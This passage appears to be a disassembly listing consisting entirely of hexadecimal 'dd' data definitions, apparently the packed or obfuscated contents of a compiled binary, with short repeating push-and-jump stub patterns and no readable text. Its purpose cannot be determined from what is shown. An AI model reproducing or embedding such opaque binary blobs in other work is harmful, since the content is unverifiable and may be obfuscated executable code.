		dd 0BC1F8ACBh, 0A223B127h, 1946A064h, 95690282h, 0A9A142BEh
		dd 799736AAh, 8E8C4D55h, 0A95FB54Eh, 0C0EE2E01h, 0E725h
		dd 90405800h, 8A4A470Ah, 0B864BD1Ch, 0AC74AF22h, 41858336h
		dd 2D81E359h, 2B72FEFh,	73C6DC08h, 66EBF317h, 4CFBE32Fh
		dd 0B90937BCh, 0F4C1A92Eh, 0EF514F68h, 0BA2E6FB3h, 59E7ED75h
		dd 2865E887h, 0A63CA7E4h, 0B62CFC13h, 3B55FD32h, 0A1DB3981h
		dd 584F9E3Ah, 5FB91888h, 756C53B7h, 39E92081h, 21B70CA1h
		dd 2CF812B3h, 66AEE7CAh, 39EDF04h, 0AD8FEE85h, 0C4B5A92Eh
		dd 0D1C300C8h, 97F31370h, 0FCC531A8h, 0EC6D75A5h, 8A0165B5h
		dd 0DBC4F830h, 36507C95h, 82E4346Bh, 19B15549h,	0D9F4779h
		dd 7DDCCA16h, 3190FA26h, 66CA61D6h, 2256DBBCh, 2B7690D1h
		dd 0E2CF2BEFh, 0BF1B7FABh, 17556581h, 1CDC687h,	2A82649Ah
		dd 874745F3h, 445D7C63h, 30717E98h, 60B716AAh, 726956B0h
		dd 0FA1CCCC3h, 353h, 2E8A7100h,	6F8B574Fh, 0BBDF0B02h
		dd 0F416BAD6h, 4FAB73ADh, 86E02462h, 0DD39DD3Bh, 157199F4h
		dd 6F8B534Ch, 0A5C10502h, 0E18951B7h, 4C181h, 0E9810000h
		dd 4, 5C240C87h, 68242C89h, 5B74h, 68240489h, 2D76h, 68243489h
		dd 7EF29DDh, 8324048Bh,	8B5404C4h, 0C4812434h, 4, 74BE5650h
		dd 1714559h, 5E042474h,	8108468Fh, 5974086Eh, 348B7145h
		dd 0E0895024h, 405h, 4C08300h, 5C240487h, 5624048Bh, 0C681E689h
		dd 4, 4C681h, 34870000h, 6DE95C24h, 93FFFB1Dh, 23BE7238h
		dd 3523B855h, 0C50307EFh, 0D0EDE0FFh, 31D14DCFh, 222E2D54h
		dd 6C6F4763h, 0F1D76D54h, 38660D89h, 13B86752h,	0E08106DFh
		dd 504C1896h, 65F85F86h, 2F0E4430h, 0A6057399h,	0EAC25367h
		dd 152A0288h, 2B5C0686h, 0FC3168C9h, 0A5893629h, 0F2C63BF9h
		dd 66AD12F0h, 8D8D484Ah, 7EF369Fh, 7E5BD8Bh, 8D8907E9h
		dd 7E9320Dh, 58F0Fh, 81660000h,	0C7EE26E3h, 0E922E585h
		dd 698807h, 8D895600h, 7E91651h, 0B185C75Fh, 7E922h, 6A000000h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1B042444h
		dd 42000000h, 6E1CC352h, 1D1370E4h, 0B5FFA32Eh,	7E912D1h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 17C35646h
		dd 0B4296227h, 1CB59529h, 860F07E9h, 5,	336F33BBh, 8595FF30h
		dd 8007E922h, 6A49ECh, 0C3195FFh, 0C08B07E9h, 0A8EB19EBh
		dd 0A26CEF46h, 682A1658h, 0C362B174h, 8908325Bh, 0AB71B69Fh
		dd 0E9311A5Bh, 0C2h, 76919EE7h,	0CA459CD7h, 0B6E1C8C3h
		dd 0A7ACABDAh, 4592B395h, 0B395A1F4h, 0ECABDA00h, 915D20A7h
		dd 0B1F46BB2h, 20752096h, 6BB79B55h, 92A5BCF2h,	7594A196h
		dd 0B799603Ah, 99BD329Fh, 9CB2E9B5h, 0A3F292A5h, 0EF7695ACh
		dd 4E0097B1h, 9FA5B4F9h, 7B6B5C00h, 8A924AF0h, 0F352D000h
		dd 0F653F545h, 0D6D979A3h, 0E3AFF144h, 7D41F445h, 92B000D7h
		dd 756BBF97h, 0BFCF60FDh, 93BCF996h, 207D20B2h,	0ABF79B57h
		dd 9EBD9492h, 9DBCE3B2h, 899BE0CEh, 8F9D728Fh, 0B4EEA9FDh
		dd 0E1B6F66Dh, 0ED7293BCh, 0D00097B3h, 0CD43F1B6h, 0F0A8h
		dd 47000000h, 0E3129D74h, 5E99E0h, 2 dup(0)
		dd 36E90000h, 68000015h, 7EF395Dh, 0FA4431E9h, 3A5C68FFh
		dd 27E907EFh, 68FFFA44h, 7EF3B43h, 0FA441DE9h, 3C7668FFh
		dd 13E907EFh, 68FFFA44h, 7EF3CD9h, 0FA4409E9h, 3DB768FFh
		dd 0FFE907EFh, 68FFFA43h, 7EF3E4Dh, 0FA43F5E9h,	3F0068FFh
		dd 0EBE907EFh, 68FFFA43h, 7EF3FDDh, 0FA43E1E9h,	414668FFh
		dd 0D7E907EFh, 68FFFA43h, 7EF4246h, 0FA43CDE9h,	437D68FFh
		dd 0C3E907EFh, 68FFFA43h, 7EF4434h, 0FA43B9E9h,	458468FFh
		dd 0AFE907EFh, 68FFFA43h, 7EF46DAh, 0FA43A5E9h,	48D868FFh
		dd 9BE907EFh, 68FFFA43h, 7EF49E6h, 0FA4391E9h, 0A2D279FFh
		dd 0EF8DA113h, 3A44EA46h, 8B0919BBh, 0D1AB4EEAh, 0F6BCC5Ch
		dd 0B1E392EAh, 0E751DC60h, 2B852850h, 99FE7701h, 8D14940Dh
		dd 0CEFC286Dh, 0D6A04A98h, 0CEA8420Eh, 76E10C27h, 0ABCEADE4h
		dd 0DEC437B5h, 0AC439F06h, 6F392873h, 0ABDCDCD5h, 6E342873h
		dd 62BF5E82h, 8C19F5A2h, 45DCh,	0A0B3E600h, 720BA537h
		dd 9268896Bh, 0A9E998D9h, 6B305C21h, 0BE4FAB39h, 37B5083Fh
		dd 1E9E13ADh, 0F6287308h, 3C9844ACh, 1836319h, 0D6F29373h
		dd 8A287307h, 0C24050FCh, 0B6630A76h, 8C1A9D4Eh, 0CDA8h
		dd 0A04A3A00h, 0AF420ED6h, 0C4D8D8C9h, 6A38305Ch, 91AB42D4h
		dd 3ACEA41Ch, 425C9058h, 7E088A9Ah, 5CB58303h, 0DB178D30h
		dd 89235DFFh, 8F57D5CDh, 0D5E13DF5h, 8FE90347h,	0A30D74F9h
		dd 0A1305CB0h, 0E844E98Bh, 19EC3042h, 82FF891Eh, 37B59F2Fh
		dd 96109D07h, 0D06ECDFFh, 9C5495BAh, 37C156C1h,	0C77DEC7Ah
		dd 0C7C35A2Fh, 0ABD56755h, 3CD5D612h, 9A08F4h, 2ACBB144h
		dd 98116B8Eh, 3C34279Bh, 0AF32A5B9h, 17000012h,	5FF97404h
		dd 802CC1BBh, 37610C6Eh, 64D05DDFh, 920AABD1h, 64102595h
		dd 0B6366FC9h, 27A9D3Fh, 492BC173h, 0AAE7C3A4h,	286D8BEAh
		dd 78B2102Ah, 0C74439DCh, 0AFA25050h, 7C06DE6Ch, 8FED00B4h
		dd 0D6A04AE6h, 0A0B3EB5Fh, 0F98C1001h, 5A21743Ch, 0B04AD8B0h
		dd 0B54102C1h, 32129037h, 73407753h, 38E16D28h,	1A65299Bh
		dd 0DD458Ch, 0AF390000h, 734BB2F2h, 0B6406228h,	734BBBFBh
		dd 0E34F5528h, 67ED7821h, 0F42532F9h, 0BF87F11Bh, 7F5B9725h
		dd 7743A3DDh, 0DB4A9AE2h, 305C19F1h, 0BA3B45D7h, 5DB4FC1Eh
		dd 20F549DFh, 9908A235h, 37B50846h, 85057C16h, 47287308h
		dd 0D9CBCBB5h, 0BE376D11h, 4DDF48EBh, 0C7333D54h, 762B752Fh
		dd 20873436h, 0A436C4DEh, 3417970Ah, 0AFF92087h, 8733B2F2h
		dd 0B2406220h, 51E46046h, 0A282FA1Dh, 0B1E39220h, 3651D89Ch
		dd 4E3C34A6h, 11B0C1F6h, 5160000h, 0BA5EFA7Bh, 6D832DC0h
		dd 0DE366213h, 0D267D15Ch, 94950BAAh, 0CA6B1124h, 38B5376Eh
		dd 6C017B9Ch, 0A5482AC0h, 0EBABE6C0h, 25286D8Ah, 0A74AB117h
		dd 769B43D5h, 4CA43E06h, 0D45D741h, 24C88CE8h, 0B12DC056h
		dd 0A9750715h, 4AEDDF1Bh, 700ED6A0h, 263E43D4h,	4DE43370h
		dd 0AC08E076h, 0E541EC8Eh, 4AA6D679h, 6EB6C86Eh, 7AEC862h
		dd 58DBE1E0h, 732257F9h, 0FD15C023h, 2DB78F1Dh,	61940D9Fh
		dd 0AB37B550h, 4A5A0C23h, 0D86E74C8h, 0D6366C10h, 0E91F845Fh
		dd 79083FFh, 1E8D3C75h,	0FFA53842h, 50C75227h, 1D912CC6h
		dd 4381F0A8h, 0D979C996h, 0AF5BAF4Ch, 92720A2Fh, 3029D810h
		dd 82305484h, 2CCE9620h, 0AA43A352h, 2643ADFEh,	8047379Ch
		dd 7662E4CEh, 8EAC08E0h, 0CB0845ECh, 94A83CA8h,	10C923h
		dd 92E20900h, 0DF9DB1E3h, 2A54FA56h, 7BF9298Bh,	0C1BB5EFAh
		dd 1F7BBC2Ch, 41F382FAh, 0F721CC50h, 3B951860h,	0A9CE6711h
		dd 8A0484FDh, 0FE0C286Dh, 0D6A04A88h, 2FB8BB0Eh, 9EE1E49Dh
		dd 834B37B5h, 3F230F69h, 9A95C865h, 0E2D4DD0Ah,	2DC39BF7h
		dd 46E3E69Bh, 0F1B32FCCh, 4658742Dh, 0C208Ah, 5F48B859h
		dd 37A69403h, 3C000000h, 0A537A0B3h, 0B277F2ECh, 52E4BE37h
		dd 9A1B658Ah, 0CEAC400Ch, 0C5846C76h, 287376C3h, 64096B81h
		dd 0C2BC52FAh, 0D4AD4276h, 0C216A401h, 0E242D052h, 1029CDh
		dd 0A0B31500h, 41ECA537h, 0D1384F8Ch, 7F9D39D3h, 0A0D16BFDh
		dd 286D8CE0h, 3B867230h, 0A8711ABh, 286D8D8Ah, 2969188Ah
		dd 0EB286D8Dh, 0B74571B9h, 0E76F79C5h, 13CE2A52h, 6B059700h
		dd 8CE0A0D1h, 7230286Dh, 0E539BBEAh, 0EC7213DFh, 0A0306055h
		dd 4EEC6802h, 8825812Ch, 718C887Bh, 30C581A1h, 0EEAF844h
		dd 2EF680AAh, 0BD4FD85Bh, 0E494BB23h, 7E4AF5B5h, 3DBFD720h
		dd 0A9D36551h, 71B94F55h, 333F3A77h, 2D7727D7h,	26A6D584h
		dd 786FE724h, 0F96h, 0D05D1F3Ch, 0BAAD064h, 78F587A9h
		dd 0AF46C4DCh, 0E18CE80Dh, 2FC2AE8Bh, 1D74A04Dh, 95BA169Fh
		dd 4CEE4AEBh, 0C0DA8332h, 6D88D1D1h, 5B094328h,	5CC5439Fh
		dd 0C651DC30h, 8DEF7D34h, 79D384Fh, 3143E975h, 78FA10BCh
		dd 0D146D1A4h, 68874A47h, 0A30F2FC6h, 0D663F173h, 3C396AADh
		dd 33BC1323h, 9300000Fh, 0DB75F878h, 0CA84537h,	0B31D90EAh
		dd 0E04CE163h, 16862F4Dh, 0E88CA111h, 3ABAEB45h, 86F619BBh
		dd 0CDAF4DEFh, 2E633F20h, 286D896Eh, 4A3694A6h,	0A944D6A0h
		dd 99E83B25h, 0FF2FAE20h, 7AEDA8F4h, 0D6D00CE4h, 4E96E80Eh
		dd 32D8FC34h, 3CD0FC40h, 3E47473Ah, 0DBC9305Ch,	3FDDF945h
		dd 3E484839h, 0DAC8305Ch, 0DD23F844h, 0AF3FBE3Ch, 3E1C9C15h
		dd 0AEF4305Ch, 0A27F1E42h, 84316362h, 8D19Ch, 39680200h
		dd 305C4679h, 621A3F9Bh, 0B3A664CCh, 8A537A0h, 45B21DADh
		dd 2656FB8Ch, 0B44E5890h, 5F27671Ah, 0BFE9305Ch, 5C5EC2C2h
		dd 0C2505230h, 27DE9776h, 0D2D0384Fh, 0FC7E9C38h, 4B35C771h
		dd 28AE0AFBh, 0A4B7286Dh, 0E5E89933h, 0AD2FC601h, 0F3277AF7h
		dd 0B18D3C39h, 0E551Eh,	1E5EFD00h, 6B112597h, 0B6C86ECAh
		dd 7859D3Fh, 4D2FC26Eh,	83EF48A0h, 35670E6Eh, 7BD558DCh
		dd 0AF09A4D4h, 1D42F38Dh, 87901081h, 4A80286Dh,	0D6A04A14h
		dd 0CEA8420Eh, 0E8917B76h, 30DBD92Bh, 8301584h,	9FAD0000h
		dd 305CC543h, 34C651DCh, 4F8E447Dh, 22B4EE38h, 4FE690BAh
		dd 0D12D4FEDh, 91EB0FD7h, 26FB374Dh, 0F587AA0Bh, 8F089C29h
		dd 1008020Dh, 0C05AEC82h, 0E33B7B36h, 0F9D5286Ch, 0A7932153h
		dd 0C5BD23A6h, 0B831732Fh, 3C383FFFh, 0BF5609C5h, 700000Dh
		dd 4FE984F4h, 0F05CD1ABh, 27911C5Eh, 54C06DEFh,	0A23ABBC1h
		dd 74001585h, 0C6465FF9h, 126A8D2Fh, 591B3163h,	0BAF7B3D4h
		dd 286D86FAh, 4A82E01Ah, 420ED6A0h, 7B76CEA8h, 929352EBh
		dd 2F742780h, 0DDFE9FC3h, 8431C1E3h, 79103h, 0A0B3A700h
		dd 0C53E7E33h, 0CCD6305Ch, 9F5AC3Eh, 8B384F8Eh,	35C78F19h
		dd 0A13CAA4Bh, 5864F2D1h, 0CAEE4AF9h, 178E5620h, 286D53BBh
		dd 0FCBCF58Fh, 0DC286D53h, 0E1E34339h, 0FEBEF3ADh, 16286D53h
		dd 7F32FE8Ch, 0A0D16BFCh, 2FC62E1Dh, 86F61975h,	6F4523BEh
		dd 4A9648D0h, 0C48B26B4h, 0C03C3953h, 0D0C5B0Ch, 0A14A0000h
		dd 5EF25ED7h, 1127911Ch, 3A6AC66Fh, 769B35B8h, 38F16F06h
		dd 2EC7B558h, 9C119382h, 0D05D1F30h, 9A4D664h, 47473A64h
		dd 0C9286D86h, 0EE78CDB3h, 5CC4F3B3h, 9CB11D30h, 0E87E04D8h
		dd 0F4869400h, 0EC8EAC28h, 1E58F25Ah, 3874BCC6h, 61B25BBDh
		dd 8430DC9Fh, 6D1DFh, 209FEB00h, 0C7305CC5h, 9F29C354h
		dd 0C50C8C05h, 9E04305Ch, 9C601A3Eh, 545B2A06h,	38384F8Eh
		dd 3F07859Ch, 7056A3A2h
		dd 0B44A4348h, 0B37FFD10h, 9B43D5CFh, 0C26E0771h, 0AA287828h
		dd 20BA485Ah, 2D9B1B96h, 65BD286Dh, 9851FE7h, 79A79C9Ch
		dd 61F7F4EDh, 95805589h, 86396802h, 562FC64Ch, 4AB0C4BFh
		dd 843B5757h, 52EBB920h, 0B115E27Dh, 7F05D99Bh,	5CD5CFB3h
		dd 3C39CBEFh, 2F1EB18Dh, 9700000Ch, 0DF79F484h,	0AC413Bh
		dd 0B7E18CEEh, 0E450DD5Fh, 128A2B51h, 0E490A515h, 36B6EF49h
		dd 82FA1DBFh, 0C9AB41F3h, 2A674324h, 286D866Ah,	4A3290AAh
		dd 0AAF1D1A0h, 914881A4h, 85972303h, 2C502BFBh,	0C7B15B8Dh
		dd 812B952Eh, 0A04B8431h, 1F000001h, 44D6A04Ah,	0E43C8898h
		dd 76049E66h, 0FC5866BAh, 0E0D41C5Eh, 0D285284Ah, 4B46D047h
		dd 37B5AC2Ch, 90EA0E6Ah, 67432202h, 1D2873ADh, 398B48F1h
		dd 0FE8C19F4h, 0C8B93F56h, 2873B4C8h, 6CC45A48h, 3B31h
		dd 0A0B39100h, 1339A537h, 2FBD3F57h, 2DACE5C3h,	9F37B5ABh
		dd 15990006h, 1E967DBh,	0E1FF475Dh, 915A5A57h, 0E8BA2873h
		dd 91654100h, 0F71B2873h, 143B8556h, 0EBBB8C1Ah, 0F000000h
		dd 773BDC78h, 3D479FE1h, 0E54D57AFh, 0CF591B31h, 0A189F307h
		dd 0C8AC410Dh, 0C0B25874h, 0D9C8627Ch, 305CC4D9h, 1581693Bh
		dd 89F87507h, 305C992Fh, 0C2BA5F07h, 0CEA84276h, 0A12DC727h
		dd 0FBBBEE8Eh, 0EF305C98h, 5C98F2B2h, 0C802230h, 58223696h
		dd 7F32FE84h, 3C006CFCh, 0FA35EF15h, 0C9E8E9FBh, 0B54BD909h
		dd 0EB95BB23h, 470F990Fh, 6362CE4Eh, 37B0208Ah,	60EC7E24h
		dd 0AA06AFCDh, 0DF80F287h, 0FE9DEB95h, 76402353h, 0D46AF8F3h
		dd 0D7EFA5Dh, 154A9A34h, 0AC6h,	0E08DEF0Ch, 5BDAA0B4h
		dd 882557F9h, 0FF76F42Ch, 31BCB85Dh, 0FF127EBBh, 4D44F07Dh
		dd 658A26CFh, 1C3E9A1Bh, 0F0AAD362h, 6D840181h,	8BF91328h
		dd 43D5A74Ah, 3A0A8A9Bh, 77F52CA8h, 0D0DD15AFh,	16688E56h
		dd 0C58D0D84h, 1D87305Ch, 294BE1D5h, 0EE783E84h, 5CC4F3B3h
		dd 3547D530h, 0E9BBDBE9h, 0EF9A2E5Ch, 0E8405F7Eh, 0D67A2ECCh
		dd 9B2492A3h, 19AF4F7Dh, 0A12DBB8Bh, 8D17EF8Dh,	99DB71A5h
		dd 460A314h, 0B3C30000h, 0ECA537A0h, 37B5B089h,	0DA4B9B09h
		dd 2873B0FEh, 62BF5EE2h, 8C19F4A2h, 1E7DCh, 0B1AC200h
		dd 9F63A189h, 305CC51Ah, 2BBD2AC5h, 5ED8FA3h, 8DBDEEA3h
		dd 3371384Fh, 0B3470F99h, 0B55975C9h, 0DDF931C7h, 4B03D3Fh
		dd 0E5B884F6h, 834BDD4Ah, 6B112492h, 9DDF71D5h,	6B5E5355h
		dd 0CB2FC67Bh, 0A63048EFh, 847AABEBh, 0A93F6520h, 397D9F00h
		dd 36A9A53Ch, 9C6h, 0E08DEF0Ch,	5BDAA0B4h, 882557F9h, 0FF76F42Ch
		dd 31BCB85Dh, 0FF127EBBh, 4D44F07Dh, 658A26CFh,	1C3E9A1Bh
		dd 0F0AAD362h, 6D830181h, 8BF91328h, 0ED6A04Ah,	76CEA842h
		dd 76B25BA5h, 0F288ACE4h, 68029012h, 0C4E3A3DEh, 772D305Ch
		dd 338D36BBh, 0B38430E0h, 134h,	0F484AB33h, 0A04A8E3Ch
		dd 0A8420ED6h, 0E10C27CEh, 824AE476h, 0B133136Dh, 0ABE98879h
		dd 8B5337B5h, 0BBC91567h, 8711937Fh, 0E9413BDFh, 8DA32BB5h
		dd 0F94537C5h, 0FB8955EBh, 0AC724E3Fh, 0EA162873h, 0F52E9643h
		dd 3B488C19h, 1A000000h, 0A537A0B3h, 0B5AAEDECh, 9FF75F37h
		dd 0A579FB2Bh, 2ACD891Fh, 38F0F252h, 0E8F64E54h, 53B3C96Ch
		dd 0CCE89951h, 0B02873A9h, 0D42CED8Ch, 598C19FAh, 0CB27A5FDh
		dd 9896h, 0A04A2C00h, 0AF420ED6h, 0ACA23BCDh, 828261BEh
		dd 48045890h, 400CD0A2h, 0A73EC8AAh, 0B30F2806h, 6875BD6Ah
		dd 5C7E8F19h, 0D5A7B530h, 7DEA0558h, 0AA5DB6EBh, 11AB37AFh
		dd 6FAA2060h, 7284F028h, 18AE3408h, 0E4762CD0h,	0EA7D578h
		dd 44ED8FA2h, 340C2CE5h, 8F487FF7h, 37000008h, 7FD95424h
		dd 0A00CA1DBh, 0D741EC8Eh, 4B03DBFh, 72EA8BF1h,	4430C5B5h
		dd 96160FA9h, 0E29ABD1Fh, 294BE153h, 0CAC7E384h, 286D81CAh
		dd 4A52304Ah, 9B43D5A7h, 0A72A0676h, 1895E775h,	7EED78AAh
		dd 0E3813B26h, 0D973A793h, 0E10B479Fh, 5BA91E97h, 0F9000002h
		dd 0A537A0B3h, 4F8C45ECh, 0FD7CD38h, 6D8D3A96h,	7B222E28h
		dd 2018665Eh, 211808Ch,	9F220000h, 305CC51Ah, 0CEB0460Eh
		dd 0E9846C76h, 3749EF4Eh, 0BB9A17A1h, 5B384F8Ch, 517BF49h
		dd 0BC5EFA7Bh, 0C96462C2h, 3EB623A3h, 9240C73h,	0B2EF79EEh
		dd 2FC66AFFh, 6FC46D37h, 4D3C396Dh, 7D8DEF1h, 0DD7E0000h
		dd 92A612A3h, 45EB45E8h, 61EBA3Bh, 0AA4FE984h, 6CCD23D2h
		dd 0E293E90Ch, 50DD5FB6h, 842953E4h, 0FD700228h, 13930E98h
		dd 0FD286D81h, 0A04A99CFh, 0C4DFDFD2h, 7331305Ch, 0A7B501DDh
		dd 8B9B43D5h, 3E8D2109h, 5FFD37D6h, 0D133901Dh,	668430DFh
		dd 0D925A7FEh, 0DD215BFDh, 72A431C7h, 334C9B5Bh, 64DF12DEh
		dd 0EB000001h, 0DFD2A04Ah, 305CC4DFh, 0C5B74531h, 4F17A137h
		dd 4672D2AAh, 6C76CEB0h, 0F2DE12DEh, 17971E58h,	0C584047Dh
		dd 168C305Ch, 831407DAh, 0CCC55FE9h, 305CC4CCh,	0F3925E44h
		dd 37B5AB94h, 0A55CA002h, 2873AC09h, 0D02C4CE3h, 0D82456E4h
		dd 70822B2Dh, 74A544C8h, 8C19F58Ch, 25EAh, 0A0B3F800h
		dd 0EDECA537h, 0A537B5AAh, 627E27FFh, 62873AAh,	3BA353FAh
		dd 28169EBh, 8C19FAC2h,	0C43Ch,	0A04A8600h, 0D4700ED6h
		dd 0C6F23EBCh, 0A3DD7F33h, 0FAB74143h, 305CC4BAh, 6ABA485Ah
		dd 52B2CC6Eh, 0BAAD466h, 5D4B427Ch, 77A1430h, 305C4B87h
		dd 0FBDF1B89h, 0DB8E2751h, 1056F958h, 59EF7DFFh, 0E69B35CFh
		dd 305C4AA6h, 0DFC346Eh, 37B076F4h, 8A52E4BEh, 3C981567h
		dd 4BD66319h, 49340D78h, 688C2F5h, 2DCE0000h, 0E276A253h
		dd 95BB1598h, 0B6EE4AEBh, 0FA1FB934h, 0BC7DF382h, 0B24339DCh
		dd 0E08D0F06h, 54D9A3B4h, 8D2052F8h, 0C3C3BEE8h, 4D286D7Fh
		dd 0DC78493Fh, 0E0FE46C4h, 5CC4F1B1h, 0F3812330h, 0FA7E9307h
		dd 5CC50787h, 59B0930h,	3F56FE68h, 0CE16668Bh, 0C4DE26B4h
		dd 0E6A2486Ch, 1B9A2852h, 66EE78AFh, 0BDFDAC2Eh, 9F305CC4h
		dd 1B890587h, 2751FBDFh, 1F59F3DFh, 2C2196h, 4A410000h
		dd 420ED6A0h, 2BA9F8A8h, 0EB3BC9DBh, 53A34AEEh,	0CF17618Bh
		dd 0B3597DB5h, 1C9B2CC1h, 0F000000h, 0C57C3C75h, 0E94305Ch
		dd 0A04AE022h, 3C970ED6h, 6305CC5h, 8BA1630Ah, 4AFE44E9h
		dd 0BB0ED6A0h, 0E49D2FB8h, 384F8C39h, 9531CBD9h, 0DC78F587h
		dd 0E6E03C3Eh, 0EDA4DA7Eh, 286D8CADh, 43AF3D67h, 0D2283AEh
		dd 8D7A3A77h, 89A286Dh,	8A18AA7Ah, 74CF66F0h, 20B4F98Eh
		dd 0ADB3529Eh, 19305FD4h, 0D492128Fh, 2082207Dh, 0EC7E24C8h
		dd 0C9C9B852h, 4B207DD3h, 0D464245Dh, 0F6AC207Dh, 0E2C8860h
		dd 0D4793968h, 99B207Dh, 0E06CFA7Bh, 0D7D232B0h, 334F1246h
		dd 43AF3D75h, 6BBBC557h, 143A9B96h, 7A089A6Ah, 87B6B1E0h
		dd 0A6FC27D7h, 260AFA0Bh, 154A9A24h, 532h, 74F97B90h, 0AF4634D8h
		dd 1C91EB0Dh, 53E260B0h, 85284CE1h, 93A61217h, 0B9E844E9h
		dd 0F91EBA3Bh, 0A842EE87h, 643E27CEh, 6D7F6D2Dh, 3795A728h
		dd 0AD2A04Ah, 384A9AE4h, 5CC54949h, 8CEC0330h, 406232B0h
		dd 7B9103B2h, 339B25F9h, 183631Dh, 0D6F8D29h, 731A7A31h
		dd 54D99BB1h, 30E015EFh, 9DB21A84h, 0A7D17BE3h,	40164Bh
		dd 0B3AC0000h, 0BA537A0h, 67D3AD43h, 0B2786C66h, 0C8624037h
		dd 791EB0Ch, 68C0B85Fh,	779C1E65h, 92B82873h, 78BF56E0h
		dd 18C5ED73h, 3A961BD7h, 0D9B6B15h, 0CB46C270h,	0EA46B134h
		dd 485D5h, 0A04A6D00h, 0A8420ED6h, 0C4D7D7CAh, 51C0305Ch
		dd 4CD1E6A6h, 41D7CDC1h, 0E97EF9ACh, 1743225Fh,	515337B5h
		dd 17B8148Dh, 9DB02873h, 0A44B07DFh, 7B9D08D4h,	94B820D2h
		dd 88DC24F5h, 611A8C1Ah, 0A8000000h, 0A537A0B3h, 0B560A008h
		dd 0AC4081A4h, 0F3AE38CEh, 305C69B3h, 0FDEB475Dh, 0B5504584h
		dd 0F62FB737h, 0C8D6BA76h, 734FD9D9h, 0DB693B28h, 503E9A0Bh
		dd 183E2873h, 0E3329E66h, 506C2C65h, 0FEA42873h, 17399468h
		dd 30DC8476h, 55784889h, 11BD8C1Ah, 0EEE97C00h,	2494B354h
		dd 0ED77AA86h, 53000000h, 0ED1A04Ah, 0FDCE03CEh, 0D0D5D5CCh
		dd 653F305Bh, 0E3FD41D7h, 4EAA2A7Bh, 9283C76Ah,	72863212h
		dd 52E47A08h, 0E8CD7DBBh, 0AD29C819h, 952FF775h, 0A7B5015Dh
		dd 0D62E4EE3h, 9B1908CCh, 5BAB394Bh, 12A3DD7Fh,	5CAE4973h
		dd 93ED0F30h, 36D884E2h, 62EAF844h, 5250ACCEh, 5E1832E6h
		dd 8DEF00CCh, 0E67F09A5h, 937905ACh, 0F4A98102h, 0C25CEE79h
		dd 0E9397928h, 0C9DB305Bh, 0C8516061h, 0C3E137B4h, 6BFC7F32h
		dd 0F051A0D1h, 339B2FC6h, 0EF935F19h, 96BB23B5h, 46DF4FE6h
		dd 146BF0FEh, 0EECA268Bh, 41B8314Bh, 633C3452h,	334FCD3h
		dd 79920000h, 36DA76FFh, 0E90FA944h, 62B21E97h,	4EE34DE0h
		dd 1029872Eh, 46EF8DA0h, 0B439BBEAh, 0E885F718h, 21CCAE4Ch
		dd 6F2F623Ch, 0A1286D7Dh, 0A74A356Bh, 8B9B43D5h, 70DC2109h
		dd 0AD1598DAh, 0F3B3EE78h, 1D305CC4h, 7BF6AB87h, 0A8275AECh
		dd 0EE37B5ABh, 1DB968B4h, 0C32873ABh, 837D9E3Fh, 0E38C19FAh
		dd 105h, 0A92B7BE3h, 21E34F55h,	0B1E0A04Ah, 43D1D333h
		dd 3A42D7E3h, 4F42DCEAh, 305CC54Fh, 7617E3C1h, 305CC04Ch
		dd 690E208h, 6B01A26Fh,	76C24CF0h, 5123C96Bh, 86162EC7h
		dd 81FCB723h, 0B5A075A9h, 64FE8822h, 5C276D2Dh,	2CFAA730h
		dd 8B7F31C9h, 0E0B647D5h, 26E3583h, 469574BCh, 1637B4CCh
		dd 8D4564Eh, 0E6D2BE7Ah, 0C9E2CAEh, 62CEAC40h, 0BE29C49Fh
		dd 46FB922Ch, 32D857DDh, 0D98F7EBAh, 0D72FC703h, 7E933BCDh
		dd 40787FAh, 9B092087h,	29CC6805h, 3B273254h, 35CB1B59h
		dd 34D65FBCh, 0CEE17D3Ch, 226h,	40ED8FACh, 0BB3A40D4h
		dd 0E885F719h, 5FD6544Ch, 911C58FDh, 9FB21E1Bh,	0ADE450DDh
		dd 52A862Fh, 0BC5EFA7Bh, 504A33C2h, 6D7C6121h, 2B99B328h
		dd 58D5A74Ah, 86A834CEh, 0E79A28F4h, 305CC4A7h,	0DBFF3B69h
		dd 0A3217131h, 19B34143h, 0A599908Ch, 238CC599h, 92D4342Dh
		dd 9518D066h, 0C5DC782Dh, 2DCFEB47h, 35C7F353h,	215B14Bh
		dd 0D018AA7Ah, 60F551CDh, 1BDC814h, 817F14D3h, 8531F98Fh
		dd 64390577h, 0D5CC5EC9h, 37B5629Ah, 595948E2h,	0BB287363h
		dd 0F945C7DFh, 0F19D55EBh, 0B69061B4h, 0A634B5E6h, 0C35D295Eh
		dd 739FCECEh, 29584628h, 2873A069h, 8F6BF9ABh, 0EC0EBA63h
		dd 0AD48E392h, 8EF1A03Ah, 42FCC79h, 3B36D699h, 6EFCB612h
		dd 554C0896h, 9DBF1BD7h, 958D49E3h, 7DB5CF17h, 63FA9421h
		dd 21D55AC0h, 9BC73340h, 0BB2CCFF2h, 50D7021h, 1F8527E3h
		dd 66103A96h, 0AC75009Eh, 5421794Ch, 3CD3C733h,	898FE03Ch
		dd 631624E0h, 1018BA1Dh, 0C16C02BBh, 4031CB65h,	18A14640h
		dd 0DFDFD2D0h, 3118A145h, 4FEA8773h, 7DB74ED8h,	0AD04D0E2h
		dd 2AC4220Eh, 0D71C4193h, 0A0FEDADAh, 0DD683A18h, 4A129500h
		dd 740ED6A0h, 6F92CDBCh, 82201FFAh, 7E0416A2h, 493842D6h
		dd 10B87049h, 0FB4BD9CBh, 0D6D98084h, 0A03ACC5Bh, 976FED24h
		dd 2924250Dh, 73181168h, 81304CD9h, 80399245h, 0CEF19111h
		dd 0C9218308h, 86067B25h, 8E08CEF1h, 7FEF8614h,	0BF34EAE6h
		dd 0FD8F8F85h, 0CF610484h, 5A960C08h, 69039487h, 689146DFh
		dd 0BDBA5B7h, 0FFF0EC79h, 0D59776C2h, 4110C24Fh, 4FBAFAB7h
		dd 485A00E0h, 5EA6FCE0h, 179ED872h, 19E597A5h, 637C4B68h
		dd 0E6702E52h, 617BEBABh, 0B37F258Fh, 8C48AE4Fh, 0B7CD116Bh
		dd 0C3BD5F7Bh, 0A748632h, 4869E3Ah, 3A44EA72h, 0DC10D8EAh
		dd 0C71F5DF0h, 0C915678Bh, 7C1688Ch, 6F98FF1h, 379F6706h
		dd 21955DDFh, 0C1BB5F0Bh, 4168233h, 335AA7Ah, 4D000000h
		dd 0A14AF654h, 0A9430FD7h, 0B45B77CFh, 455C78C4h, 0BE537FC7h
